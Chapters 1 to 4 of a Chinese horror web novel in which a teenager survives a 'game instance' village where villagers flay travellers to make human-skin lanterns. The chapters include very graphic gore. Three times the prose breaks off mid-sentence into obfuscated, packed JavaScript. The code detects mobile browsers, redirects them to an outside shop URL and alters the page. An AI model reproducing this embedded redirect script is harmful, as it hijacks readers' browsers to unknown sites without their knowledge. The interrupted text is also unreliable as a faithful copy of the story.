《请在我的废墟里爱我》 1. 灯影诡村 【尊敬的各位旅客您好,您搭乘的D018次列车即将到站,请配合工作人员妥善安置行李,防止遗失。本次起点站:家,终点站:《灯影诡村》。接下来,我会为各位讲解副本背景设定。】 车身猛地晃动,初与序惊醒,抬手扶住前方座椅。耳边再次传来女音继续播报: 【您与三名同行者因故滞留荒村,借宿与村中唯一一家客栈。夜半时分,灯笼幽深,村民神色诡谲,仿佛在等待某个仪式的开始......请谨慎行事,活到天亮。】 【主线任务:存活至第三日午夜。】 【副线任务:查明村庄异状(可选,影响结局评级)】 【祝您存活愉快。】 广播里只剩下滋滋电流声,随后整个车厢恢复安静。初与序抬眼环视整间列车厢。 车厢内部环境较干净,顶部的日光灯发出苍白的光,像是被什么东西压抑着。座椅上的草革已经磨损,露出暗色的内衬。空气中弥漫着一种难以言喻的沉闷,她感觉自己呼吸都变得艰难。 正前方列车长座位坐着一位中年男人,身穿黑色制服。单手握着方向盘,回头瞟了初与序一眼:“嗯?为什么你看上去心情很差?” 初与序静了一会,似乎在考虑怎么回答:“因为我有起床气,现在没睡醒。” 男人:“......” 记忆中,是六月份,高考后的暑假,自己在家休息,此刻却出现在这辆列车里,前面还坐着一位自来熟的列车长。 “这是哪里?你绑架?”初与序问。 男人愣了一下,猛地转过头,似是很惊讶:“你不记得?” 这下轮到初与序愣住了,她转头去看窗外一闪而过的景色,眼前只有一片雪白。眯眼辨认了半天,才发现外面一切都覆盖了一层厚厚白雪。这里是冬天,还下了雪。 意识到这一点,身边的空气骤然冷了下来,初与序被冻得手脚僵硬:“不记得,这里不是我的世界。” 男人突然沉默了,面色不好,似乎是在思考什么。初与序也没继续问,靠在座位上看着窗外的雪幕。 “你记得自己是谁吗?”男人忽然开口。 “我是初与序。”初与序回答。 男人又不说话了,这次列车速度开始缓慢下降,快要到站。 他握紧方向盘,目光注视前方,语气怪怪的:“来不及解释现在情况了。你就当玩真人游戏,先下车参加新手副本。新手副本不难。我回去问一问,等你通关副本后来接你。” 列车很快停稳,初与序张了张嘴,话还未出口,就被男人赶下车。转身的瞬间,车门“哐当”一声合上,随后向一片雾区开去,很快消失不见。 初与序在原地站了几秒,最终往正前方大雾走去。 夜风裹着潮湿的寒意,她的鞋底碾过松软的泥土,每一步都像是踩在某种正在无声呼吸的东西上。她低头想看看是什么路,忽然想起自己视力不好,现在根本看不清。 “什么鬼地方...”她抬手试图拨开眼前浓稠的雾气,雾太密了,缠得人喘不过气。 身后忽然传来窸窸窣窣的脚步声,初与序本能地回头,看见古代装扮的两男一女跟在自己后面。不出意外,是广播里说的那三个同行的npc。他们很安静,四周只有粗重的呼吸声。 初与序移开目光,故意放缓脚步,走到队伍最后,才点开视线左上角的悬浮面板,开始仔细查看这场副本的一切信息。 【玩家名称:初与序(书生)】 【体力:正常(无受伤)】 【装备:随身包袱(普通衣物、火折子)】 【已知情报:村民排外,夜晚不可信任】 【警告:单人副本夜晚危险度极高,请合理规划行动。npc死亡不可逆转,请勿过度依赖队友】 初与序的目光不动声色地扫过三位同行者,她借着整理衣服的动嘴,悄悄将系统面板调至【队友识别】模式。指尖在袖中轻划,面板的微光在眼底一闪而过,无人察觉。 对准走在前方的高个子男人,面板上浮现出几行冷冰冰的小字: 【NPC:李二】 【身份:行脚商人(表面)】 【隐藏倾向:贪财,易被收买】 【当前状态:正常】 面板又转向李二身边的女子,面板微闪,信息更新: 【NPC:王三】 【身份:镖师(表面)】 【隐藏倾向:疑心重,会优先自保】 【当前状态:紧张】 最后是走在队伍前头的男人,面板停顿了一瞬,浮现的文字让初与序愣了一下: 【NPC:赵四】 【身份:书生(表面)】 【隐藏倾向:???(数据异常)】 【当前状态:不稳定】 初与序心中吐槽了一下系统的起名机制,收回目光,面板熄灭在黑暗中。她低头扫视自身装扮:粗布衣衫,束腰短打,手腕上缠着防身的布条。 这是个古代背景的副本,系统没给她任何现代装备,连最基本的打火机都没有,只有火折子。 ……这系统也太抠了吧? 【不喜欢?给你这个就不错了,新人玩家还想要什么武器(鬼脸)】 初与序望着自动出现的面板,面无表情关闭。 终于,雾气裂开一道缝隙。远处,一盏猩红的灯笼突兀地悬在黑暗中,火光烧过木制匾额上的“荒村客栈”四个字,漆色剥落,像干涸的鲜血。灯笼的光太亮了,亮得不正常。 初与序下意识抬起手用手背遮住右眼,挡住刺眼的光线,这才好受了一点。 “终于找到客栈了!你们快来!”李二扯着嗓子喊,声音里带着极度的兴奋。他三步并作两步冲过去,衣角扫过雾气,初与序总觉得那片布料被什么无形的手拽了一下。 她一直没动,用左眼盯着那盏红灯笼看了半天,直到王三冲自己招手:“初与序!愣着干嘛?快来啊!” 她抬腿进入客栈,木门在身后“吱呀”一声合上,像是被什么东西轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969501|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推了一把。四人踩在客栈的地板上,发出沉闷的响声,似乎下面不是木头。 “有人吗?”李二高声喊道。 老板娘从柜台后抬起头,一张脸白得死了几周的人,嘴唇却涂得猩红,像是刚刚在上面抹了一层血。她笑起来时,眼角堆起的皱纹很深。 “几位客官,打尖还是住店?”她的声音甜得令人起鸡皮疙瘩。 李二搓了搓手,迫不及待地凑上去:“住店!住店!这鬼天气,再在外头晃荡,怕是要冻出病来!” “要几件房啊?” 王三竖着四根手指:“四间房。” 老板娘咯咯地笑,从抽屉里摸出四把黄铜钥匙,钥匙上沾着一点暗褐色的污渍。她的指甲很长,轻轻划过柜台时,发出细微的刮擦声。 初与序没说话,目光扫过客栈大堂。 角落里坐着几个客人,灰扑扑的衣裳像是从坟堆里扒出来的。他们的脸藏在阴影里,只露出一双双眼睛直勾勾地盯着他们,眼珠子一动不动,连眨都不眨一下。没有人说话,没有人喝酒,甚至连呼吸声都听不见。 王三被盯得发毛,干笑两声:“这、这地方还挺热闹哈......” 没人回应,初与序面无表情移开视线。 老板娘把钥匙递过来,指尖冰凉,像死人的手:“二楼左转,尽头四间房,客官们好好休息。” 她的笑容更深了,嘴角几乎要咧到耳根。 赵四站在柜台阴影处,目光时不时黏在初与序身上,又在她察觉前仓皇移开。当初与序接过钥匙时,他刻意慢了半步,让初与序先走。 擦肩而过时,他似乎想说什么,最终只是抿紧了嘴,低头盯着自己鞋尖。 楼梯吱呀作响,他的脚步声始终保持着三步远的距离。不远不近,像在丈量某种危险的界限。 初与序微微侧头用余光扫了他一眼,忍不住在心中和面板对话:“你们游戏的同行NPC会杀玩家吗?” 【您猜~】 初与序默默深吸一口气,忍住骂系统的冲动,不再说话。 【有副本的NPC会,但有的不会。关于NPC赵四到底会不会杀人,需要您自己判断呢~】 初与序依旧不吭声,四人踩着吱呀作响的楼梯上了二楼。走廊幽深,尽头处一盏油灯摇曳,勉强照亮四扇紧闭的房门。 “一人一间,天亮前别乱跑。”李二打着哈欠,随手推开最左侧的门,头也不回地钻了进去。 “啧,这破地方......”王三嘟囔着,踢了踢门框,选了第二间。木门在他身后重重合上,震得墙灰簌簌落下。 赵四站在第三间门前,没急着进去,反而侧过身,目光落在初与序脸上。 “你住最里面那间?”他问,声音很轻,却莫名让人不舒服。 初与序没接话,只是冷淡地扫了他一眼,径直走向最后一间房。赵四盯着她的背影,嘴角扯了扯,终于推门而入。 走廊重归寂静,唯有那盏油灯忽明忽暗,照得门缝下的影子扭曲如活物。 2. 灯影诡村 推开吱呀作响的房门,陈旧的霉味扑面而来,初与序皱了皱眉,手指下意识地攥紧了门框。 房间不大,一张窄床,一张褪了漆的木桌,桌上却摆着一盏红灯笼。 不是寻常客栈里的那种纸糊油灯,而是一盏做工精细的红灯笼,薄如蝉翼的灯罩上隐约透出里面的烛光,红的刺眼,红得像血肉。灯座下还凝着几滴蜡泪,像是刚刚才被人点燃过。 初与序一向受不了这种强光,她闭了闭眼,意识到这灯笼不该在这里。 客栈门口已经挂了一盏巨大的红灯笼,照得整个前院亮如白昼,为什么房间里还要再放一盏? 她伸手,指尖刚触到灯罩,便猛地缩回。 烫。 不是平常烛火该有的温度,倒像是被烧焦的动物皮肤,还带着体温。 但也有可能不是动物。 烛芯“啪”地爆了个灯花,火光骤然一窜,映得初与序半边脸都浸在血色里。她毫不犹豫扯下床单,裹住灯笼,一把抓起。灯罩下的烛火摇晃,照得她指缝间一片猩红。 她重新推开门,将红灯笼丢到门外走廊边,又将床单带回房间,重新铺在床上。 灯笼被扔出房外后,整个房间彻底陷入了黑暗。初与序下意识摸向腰间,找到了系统给的火折子。 “咔。” 火石擦过的声音在死寂中格外刺耳,直到第三下,火折子才终于亮起一簇微弱的火光,颤颤巍巍地映出她半张苍白的脸。烛台就在桌上,她伸手去点,可就在火苗即将触到烛芯的刹那: “呼。”一声,一阵阴冷的风从她耳后掠过,火折子瞬间灭了。 房间里再次陷入黑暗,比之前更沉、更重。初与序不由得屏住呼吸,抬头看向房间的窗户。 窗户关得死死的,不可能有风吹进来。她重新点燃烛台,走到窗边想开窗看看。 忽然,一道黑影倏地掠过。 初与序停住脚步不再往前。 这里是二楼,窗外不该有人。可那影子分明是个人形,瘦长、僵硬,像是一张被拉长的人皮,轻飘飘地贴在窗户纸上,又迅速消失。 她面无表情退回,坐到梳妆台前,铜镜映出她疲惫的面容。镜面有些模糊,像是蒙了一层薄薄的雾气,怎么擦都擦不掉。 她抬头,指尖勾出发间的木簪,轻轻一抽,乌黑的长发变如流水般倾泻而下,垂落在肩头。铜镜里的自己也跟着做同样的动作,分毫不差。 可就在初与序低头整理发丝的刹那,余光却瞥见镜中的自己仍抬起手,定定地看着她。 初与序抬头,但镜中人影却已恢复如常,仿佛刚才的异样只是烛光晃眼造成的错觉。 大晚上的能不能别这么吓人? 门外那盏大红灯笼的光透过门缝渗进来,将整间屋子浸在一片暗红里,像是沉在血水中。初与序站到窗边,拿起被褥轻轻嗅了一下。运气很好,没有血腥气。 她将外衫脱下折好放在床位,动作很慢,像是寻常的睡前准备。可她始终听着门外的动静,没有脚步声,没有呼吸声,只有灯笼纸在夜风里偶尔被吹起的窸窣。 床板很硬,躺上去时发出轻微的吱呀。初与序侧着身,用被褥遮住大半张脸。 夜色如墨,浓稠得几乎凝滞。初与序的呼吸轻浅均匀,仿佛真的沉入了睡眠。但她的意识始终悬在黑暗的边缘,准备随时惊醒。 门外,那盏巨大的红灯笼依然亮着,将门纸映得猩红。黑暗中,初与序忽得睁开眼。 有什么东西在响。 那声音很轻,像指甲刮过教室的黑板,又像湿漉漉的指尖一点点撕开熟透的水果皮。黏腻缓慢的,带着某种让人毛骨悚然的感觉。 “嗤啦——” 细微的撕裂声从隔壁传来,伴随着液体滴落的轻响。一滴、两滴落在木地板上。 听上去像血滴落的声音,初与序立刻清醒过来,无声下床,屏住呼吸赤脚走到门边,将耳朵贴在门板上,可那声音却突然消失了。 走廊上的灯笼光从门缝漏进来,在地板上拖出一道血色的细线。她缓缓将门拉开一条小缝,向外看去。 眼前的景象让她瞳孔皱缩。 走廊尽头,一个佝偻的黑影拖拽着李二,但此刻的李二已经不成人形。 (注:下文尽量别在用餐时观看!!!) 他的脸皮被完整地剥了下来,露出下面血红的肌肉组织和白色的筋膜。没有眼皮的双眼圆睁着,在月光下泛着诡异的光泽。他的嘴巴大张,却发不出任何声音,只有血沫不断从喉咙里涌出。 黑影的另一只手上提着一个新鲜制作的灯笼,灯笼的材质在月光下呈现出半透明的质感,上面依稀可见五官的轮廓。 那是李二的脸皮。 初与序僵立在黑暗中,瞳孔因惊讶而微微放大,盯着那盏摇晃的人皮灯笼。 黑影似乎察觉到了她的存在,缓缓转过头来。月光下,它没有五官,整张脸平滑得如同蜡像,只有两个漆黑的空洞代替了眼睛的位置。 初与序眼睁睁看着黑影举起那个人皮灯笼,灯笼内部突然亮起幽红色的火光。在诡异的光线下,李二被剥下的脸皮变得透明,可以清晰地看到他的眼球在灯笼内部滚动,嘴唇诡异地蠕动着,像是在无声地尖叫。 黑影发出一声非人的叹息,将灯笼挂在了走廊的墙壁上。初与序这才注意到,整条走廊两侧已经挂上了类似的人皮灯笼,在阴风中轻轻摇曳。每一张脸皮都保留着生前最后一刻的表情:极度的恐惧与痛苦。 李二残缺的身体被黑影继续拖向走廊尽头,他的手指在地板上抓绕,留下五道长长的血痕。 在经过初与序的房间时,李二突然转过头,没有皮肤的嘴巴一张一合,发出气若游丝的声音: “快...逃...” 黑影猛地拽了一下,李二的身体像破布一样被拖进了尽头的黑暗。接着是一阵切割声,和液体喷溅的声音。 初与序的呼吸已经完全乱了,她看向挂在墙上的人皮灯笼,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969502|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的“李二灯笼”突然自动转向自己,那张熟悉又陌生的脸皮在红光中扭曲变形,嘴唇诡异地蠕动着: “下一个...就是你们...” 木楼梯忽然发出不堪重负的呻吟,密集的脚步声如潮水般涌上二楼。初与序飞快蜷缩在衣柜最深处,后背紧贴着冰凉的木板,屏住呼吸。 “搜!每个房间都要翻过来!”沙哑的吼叫声穿透门板,走廊里传来木门被踹碎的爆裂声,火把将人影扭曲成巨人般的怪物投在纸窗上。 脚步声逼近,停在初与序的房门前。门被粗暴地踹开,血腥味瞬间涌了进来。 透过衣柜的缝隙,初与序看见三双赤裸的脚,皮肤上站着干涸的血痂,指甲缝里嵌着碎肉。其中一把镰刀的刀尖还在滴血,在地板上积出一小洼粘稠的液体。其中一人走到床边,弯腰伸手摸了下床铺。 “床是温的...没跑远!快追!” 隔壁突然换来王三的惨叫:“滚开!别碰我——” 瓷器砸碎的脆响,□□撞上墙壁的闷响,还有那种黏腻的、刀锋划开皮肉的声音。初与序有点想吐,她清晰地听见王三发出断续的哀嚎,接着是重物在地板上拖行的摩擦声。血从门缝地下渗进来,在月光下黑得发亮。 “这个还热乎着。”有人在笑,“灯笼皮要趁新鲜剥。” 初与序看见一个佝偻的身影拖着王三走过,她的右手还在抽搐,五指抓挠着地板,指甲翻起都浑然不觉。火把照亮她半张被剥开的脸,露出下面跳动的肌肉,像被掀开的石榴皮。 “还有两个逃走了!”有人高声提醒,杂乱的脚步声伴随着王三歇斯底里的哭喊和更多人的吼声。 王三的惨叫变成了气泡音,像是被割开了气管。 当初与序再抬眼看去,村民正拎着一张完整的人皮抖了抖,血珠像雨点般溅在墙上。王三剩下的部分还在抽搐,露出森白的肋骨和微微颤动的肺叶。 “好皮子,灯笼王的皮...”有人惊叹。 “这算什么?另一个姑娘的皮那才叫好。”有人打断,“雪肤花貌,用她的皮做灯笼那才叫灯笼王。” 脚步声渐渐远去,二楼陷入一片寂静。 又等了一会,初与序推开衣柜门,潮湿的霉味和血腥气猛地灌进鼻腔。藏久了腿麻,她踉跄了一步,膝盖发软,差点踩进地板上那滩半凝固的血泊里。 走廊上到处都是碎肉,一块沾着筋膜的肉黏在墙根,几截断指散落在角落,指甲缝里还嵌着木屑。最刺目的是那道长长的血痕,从房门一直拖到楼梯口,边缘已经发黑。 初与序突然伸手飞快扶住墙,忍不住弯腰干呕,喉咙里挤出几声破碎的呛咳,但什么也没吐出来。她缓一会,站直身体。 【恭喜玩家初与序触发限时生存任务——人皮灯笼的诅咒】 【当前存活玩家:1/1】 【警告:村民感知度提升至65%,但在天亮后不会攻击玩家,请放心探索。】 【祝您存活愉快】 3. 灯影诡村 初与序盯着面前的悬浮面板,面无表情抬头关闭,随后走到窗边,手指搭上窗框时,木刺扎进了指腹,她却连眉头都没皱一下。 推开窗户的瞬间,黎明的风裹着浓重的血腥味灌了进来。月光下,赵四就站在院中央。 他的白衬干净得刺眼,在遍地血污中像一道不合时宜的幽灵。灯笼的红光从他头顶浇下来,将他的影子拉得很长,长得像一条通往血肉地狱的路。 他仰着头,嘴角缓慢地、扭曲地向上扯起,冲初与序露出一个微笑。 “我们逃不掉的。” 他的声音很轻,却像毒舌般钻进初与序的耳朵。每个字都带着黏腻的笃定,仿佛在陈述一个早已注定的结局。 初与序平静地和赵四对视,他的瞳孔扩散成两个黑洞,映着灯笼的血光,像是两盏缩小的人皮灯笼在他眼眶里燃烧。 赵四突然抬起手,指向客栈大门。初与序发现哪里多了一排新制的灯笼,其中一盏还在滴血。王三的脸皮在灯罩上隐约浮现,嘴巴大张着,保持着死前的惨叫。 “你看。”赵四的脖子发出咔咔的响声,“他们都在等我们。” 风吹动灯笼,那些灯罩上的人脸突然同时转向初与序的方向。 赵四的笑声终于漏了出来:“初与序,下一个就是你。” 初与序看着那几盏灯笼,忽然轻笑一声,但什么都没说,慢慢合上窗户。 她没有离开客栈,而是在房间里等到了天亮。窗外的阳光薄薄地涂抹在村子的屋顶上,远处传来鸡鸣声,清脆得像是有人故意让她听见般。 昨晚的血迹已经不见了,青石板路上干干净净,连一丝血腥气都没留下。几个村民扛着锄头走过,在看到初与序时,齐刷刷仰起脸,嘴角溢完全相同的弧度向上扯起。 “早啊,客人。” 阳光照在他们的脸上,初与序这才发现,他们的皮肤呈现出一种不自然的蜡质光泽,像涂了油的皮革。她站在原地,朝村民们点了点头,没有说话。 白天的灯笼本该熄灭,但客栈门口的红灯笼不仅亮着,灯罩似乎比昨夜更红了,红得像刚剥下来的皮浸饱了血。有个穿蓝布衫的老妇正在擦拭灯架。她的动作很轻柔,像是在抚摸谁的脸。 初与序的目光和她对上时,老妇的嘴角突然裂开,一直裂到耳根。 “今晚灯笼节。”老妇的牙齿黄得发黑,“客人一定要参加啊。” 远处,几个孩童在追逐打闹。他们跑过的地方,地上的影子不是人形,而是一串摇晃的灯笼轮廓。初与序移开视线,却发现赵四出现在楼梯口处,手中端着水杯。 他走到初与序面前,瞳孔已经恢复原样,脸上挂着笑,可那笑意没进眼睛,反倒让瞳孔显得更黑、更深,像两口枯井。 “喝点水吧。”他递来水杯,水纹晃荡,映着他微微抽搐的嘴角。 初与序盯着水面看了几秒,接过杯子。目光在赵四指甲上停留了一秒,若无其事地移开。 是血,已经干涸了的血痂,嵌在甲缝里,但不仔细看看不出来。 她抬眼,发现赵四正盯着自己,像是在等她咽下那口水。她将杯沿贴上唇,仰头喝下。水滑过舌尖,泛着苦味。 “多谢。”她放下水杯,平静地看着赵四。 赵四瞳孔缩了缩,接过杯子转身离去。 在没人看见的地方,初与序用衣袖遮住半张脸,将水吐到了客栈外泥土里。 她走出客栈,几个村民在井边打水,见她出来,立刻堆起笑容,但嘴角的弧度像是被针线缝上去的,僵硬得不自然。 ……笑得好假。 初与序走近,出声询问:“你们这里的灯笼挺好看,但整夜不灭,不费灯油吗?” 一个老妇低头搓衣,嗓音沙哑:“灯笼节快到了,得亮着。” 初与序装作好奇:“这节庆有什么讲究?我们外乡人也能参加?” 老妇人的手顿住,浑浊的眼珠缓缓转向她:“客人......当然要参加。” “这样啊,那再好不过了。”初与序语气依旧平稳,“请问祠堂在哪里?我想去拜拜,求个平安。” 村民们的表情微妙地变了,互相交换眼神。最终,一个瘦高男人指向西边:“那儿,不过年久失修,没什么好看的。” 初与序道了谢,转身往反方向走去,背后如有针刺。那些村民的目光黏在她身上,直到拐过巷角才消失。 初与序放慢脚步,脑中梳理线索。 祠堂是关键。 灯笼需要人皮,李二和王三已经成为了材料。村民们对祠堂讳莫如深,那里面可以藏有剥皮的记载或工具。而赵四……他太异常了,暂时离他越远越好。 初与序绕路避开村民视线,确保没人看见自己的行踪,朝祠堂潜去。 祠堂的木门半塌,歪斜地卡在门框上,像是被什么东西狠狠撞开过。初与序侧身挤进去,霉味混着腐朽的香灰气息扑面而来,呛得她喉咙发痒。 这里看上去已经很久没人来过了,阳光从残破的窗棂漏进来,灰尘在光束里浮动,像无数细小的鬼影。供桌上的神像早以褪色,半边脸剥落,露出里面发黑的木胎,空洞的眼神直勾勾盯着初与序。 初与序走近几步,才发现不是盯着自己,而是盯着供桌下面。 她蹲下身,手指擦过积灰的桌底,就发现那下面有暗格。 木板松动,她用力一掀,“咔”的一声,露出几本发黄的册子。最上面那本封皮已经脆裂,翻开时簌簌掉渣,像是稍一用力就会碎成粉末,但上面写的字依旧能看清: 「人皮灯笼,需以活剥之皮裹尸骨,怨气愈深,灯愈亮......」 她的指尖顿住,看到文字旁边还附了粗糙的图画:一个人被按在木架上,皮肤像脱衣服一样被整个人剥下,而旁边的人正把那层薄薄的、血淋淋的皮王灯笼架上套。 初与序继续翻下去: 「大灯需以“恨火”为芯,需心怀深怨,自愿...…」 自愿?初与序皱眉,往后翻,却发现最后一页被撕掉,只残留半行字: 「......蛊其心,使其自戕,怨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969503|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毒最盛。」 指尖刚刚触到那页残破纸面,祠堂内的温度骤然下降。她猛地抬头,发现那些从窗缝渗入的阳光不知何时消失了,取而代之的是粘稠的、如血一般的暗红色雾气,缓缓在空中弥漫。 供桌上的神像“咔”的一声裂开,木胎里流出黑红色的液体,滴滴答答落在地上,应该是腐朽的血。 初与序倒是没想到大白天也会遇到灵异事件,她立刻合上册子,叹了口气。 看来还是不能随便翻死人的东西。 “还......我......皮......” 一道幽幽的声音从她背后传来,近得几乎贴在她耳畔。初与序浑身一僵,没有回头,而是直接矮身向前一滚。 一只干枯的、只剩白骨和腐肉的手擦着她的发丝划过,指甲漆黑尖锐,若是再慢半步,她的喉咙就会被撕开。 初与序翻滚起身,背抵墙壁,终于看清了袭击她的东西。 那是个“人”,或者说,曾经是个人。 它的皮肤被一整个剥起,和昨晚的李二王三一样,干涸的血迹在腐烂的肉上凝成黑痂,只有一双眼睛还完好,死死盯着初与序,瞳孔里燃烧着怨毒的恨意。 “还......我......皮......”它再次开口,腐烂的声带摩擦,一步步朝初与序逼近。 初与序无奈道:“我没剥你的皮,是这里的村民剥的,你找我干什么?” 当然,要是鬼能听道理那它就不是鬼了。祠堂角落的阴影里,慢慢浮出更多“人”影,它们像被抽空了血肉,只剩一层薄皮松松垮垮地挂在骨架上,每走一步,都有碎屑从关节处簌簌掉落。而它们的五官位置只剩下黑洞,仿佛有人用刀尖草草挖去了眼睛和嘴唇。 初与序后退两步,下一秒,最前面那只突然扑过来,干枯的指爪直掏她心口。 她侧身避开,拉开距离后扫视四周。现在没有武器,除非算上那尊掉漆的神像。但鬼影已经围拢过来,腐烂的甜腥混着血气扑面而来。 初与序看向大门口,放弃了跑走的念头。这些鬼影会跟到村里,惊动了活人更槽。 供桌下忽然闪过一点反光,直直刺向她的右眼。初与序认出了刀,是昨晚那把剥皮刀。 她矮身一滚,刀刃擦着她发梢划过。手刚碰到刀柄,一只鬼爪已扣住她脚踝,触感冰冷黏腻,像被泡胀的尸皮裹住。 初与序反手一刀扎进那截手臂,“噗嗤”一声,没有血,只有黑灰喷涌而出。鬼影尖啸着缩回,但更多的从四面八方涌来。 她推到窗边,猛地扯下经幡缠上烛台,就着最后一点灯油点燃。 火苗“轰”地窜起,映照得她眉眼如刀。干燥的木头瞬间爆燃!鬼影在火种扭曲,发出非人的嚎叫。 初与序退到门槛出,慢条斯理翻开册子最后几页。火光舔舐着纸页,她眯眼辨认那些被烟熏黑的字迹,随后撕下最重要的一页,藏在袖子中。 祠堂的梁柱轰然倒塌,火星溅上纸页。她轻轻抖了抖册子,看那行关于赵四的注解在火中蜷曲成灰。 4. 灯影诡村 火焰已经爬上了祠堂的屋顶,黑烟翻滚着涌向灰色的天空。初与序站在巷角的阴影处,想到了什么,敲了敲面板:“系统,如果直接把村庄烧了,今晚的灯笼节还会照常举办吗?” 【???】 【你可以试试,但能不能通关,命会不会被阎王收走我就不知道了。】 “……” 初与序站在原地,冷眼看着村民们从四面八方奔来。他们手里提着水桶,脸上不再是那种僵硬的假笑,而是真实的、扭曲的惊恐。 “快!快泼水!” “不能让它烧下去!会惊动——” 有人突然噤声,像是意识到说漏了什么。初与序微微皱眉,低头看了一眼袖中藏着的残页,纸张边缘微微发烫,仿佛也沾染了祠堂的火气。 她不动神色地后退,贴着墙根无声移动。村民们忙着救火,没人注意到她。他们的动作近乎癫狂,一桶桶水泼上去,可火势丝毫不减,反而越烧越旺。 看来他们灭火还需要一段时间。初与序转身离开,背后传来木材爆裂的声响,还有那些鬼影绝望的嚎叫。 直到夕阳西沉,祠堂的火才被泼灭,整个荒村被夕阳染成一片血色。初与序站在客栈后院的老槐树下,为今晚的行动保留体力。 赵四忽然从阴影里走出来,脸上挂着一种古怪的笑容,像是极力压抑着某种兴奋。 “初姑娘。”他压低声音,眼神却闪烁不定,“有件事,我想单独和你淡淡。” 初与序抬眸看他,神色淡淡:“我不想。” 赵四没料到初与序拒绝的这么直接,他舔了舔干裂的嘴唇,目光扫向四周,确认无人后,才凑近一步:“祠堂的火......是你放的吧?” 初与序背靠着树,好整以暇地看着他。 “别装了,我看见了。”赵四咧开嘴,露出一排森白的牙齿,“你从祠堂出来,袖子里藏着东西,然后......轰!整个祠堂就烧起来了。” 初与序没有承认,也没有否认。 “那些村民要是知道是你干的......你猜他们会怎么对你?”他故意拖长了语调,“剥皮?还是直接把你活活钉进灯笼架里?” 初与序的目光落在他手指甲里暗红色的痕迹上,那是干涸的血,他杀过人了。 她轻轻叹了口气,站直身体:“你想怎样?” 赵四眼中闪过一丝得逞的亮光,他侧身指向村子西侧的枯井:“那边没人,我们过去说。” “有什么话,在这里说也一样。”初与序没动。 赵四的笑容僵了一下,他扬眉,压低声音:“这里不安全,不能被听到。我知道怎么避开村民,带你离开这个鬼地方。” 初与序盯着他的眼睛,半晌,忽然轻笑一声:“好啊。” 她迈步跟上他,走向那座孤零零的枯井。赵四的背影在暮色中显得格外僵硬,肩膀微微耸起,像随时准备扑出去的野兽。 枯井边缘的青砖早已风化,缝隙里爬满暗绿色的苔藓。赵四站在井口,半边身子被夕阳的余晖染成血色,半边却陷在阴影里,像被什么无形的东西死死拉扯着。 他故作神秘地凑近初与序:“村东头的老槐树下有条密道,能绕过守夜的村民......” 初与序静静地听着,目光却不着痕迹地扫过四周:井台左侧堆着几捆发霉的稻草。右侧散落着几快风化的砖石。 赵四的语速越来越快,仿佛急着把话倒干净:“只要沿着地道走,天亮前就能到山脚。不过......”他突然压低声音,“得先解决掉一个麻烦。” “什么?”初与序问。 “那些灯笼。”赵四的眼中闪过一丝狂热,“得把最大的那盏毁掉,否则谁也出不去。”他的右手自然地搭上初与序的左肩,掌心潮得反常,“我发现了它的弱点,就在着井里——” 他的声音戛然而止,拇指突然扣住初与序锁骨凹陷处,这是捕快押解死囚时常用的手法。 初与序早有防备,侧身躲避。赵四的反应也不慢,腰后的匕首已然出鞘,在暮色中泛着冷光,刀尖微微颤动。 “初与序,你以为你能活着离开?”赵四笑了,“村子选中了你......我也选中了你。” “村民需要最后一张皮,而你的怨恨,正好够点亮那盏大灯笼。” 初与序站在井边,背后是深不见底的黑暗,身前是步步紧逼的杀意。她没有回答,只是轻轻调整呼吸,目光锁定在他持刀的手腕上。 赵四的刀法很糙,但力气不小。初与序曾经感受过男女力量之差,凭自己一人,空手空脚肯定打不过他,那只能躲。 赵四突然扑来,匕首横划,直取她的咽喉。 初与序立刻避让,刀锋擦着她的颈侧掠过,带起一缕断发。她没硬拼,而是顺势抓住赵四的手腕,借力一拽。 对方踉跄两步,差点撞上井沿。他反手又是一刀,逼得初与序不得不松手后退。她拉开距离,目光扫过四周。 “赵四。”她突然开口,声音冷静得可怕,“你知道为什么村民选中你吗?” 赵四的刀势微微一顿。 “因为你蠢。” 他勃然大怒,匕首再次刺来。初与序这次没躲,而是猛地蹲下,猛地抓起一把腐土扬向他的眼睛。 “啊!”赵四本能地闭眼,刀峰偏了方向。 初与序抓住机会,一脚踹在他膝盖上。赵四吃痛,单膝跪地,但匕首仍然紧握在手。他胡乱挥刀,刀尖在她手臂上划出一道血痕。她咬牙后退,故意踩上井边那块松动的砖。 “咔嚓”一声,砖块倾斜!赵四见状,以为她站不稳,狞笑着扑来。 初与序突然侧身,抓住他的衣服,借着他冲来的力道狠狠一拽。赵四收势不及,整个人向前栽去。但他的匕首在最后一刻刺向初与序的肩膀。 刀尖刺入皮肉,初与序后退一步,匕首掉进井中。赵四一同跌入井里,黑水溅起,沉闷的回响在井壁间回荡。 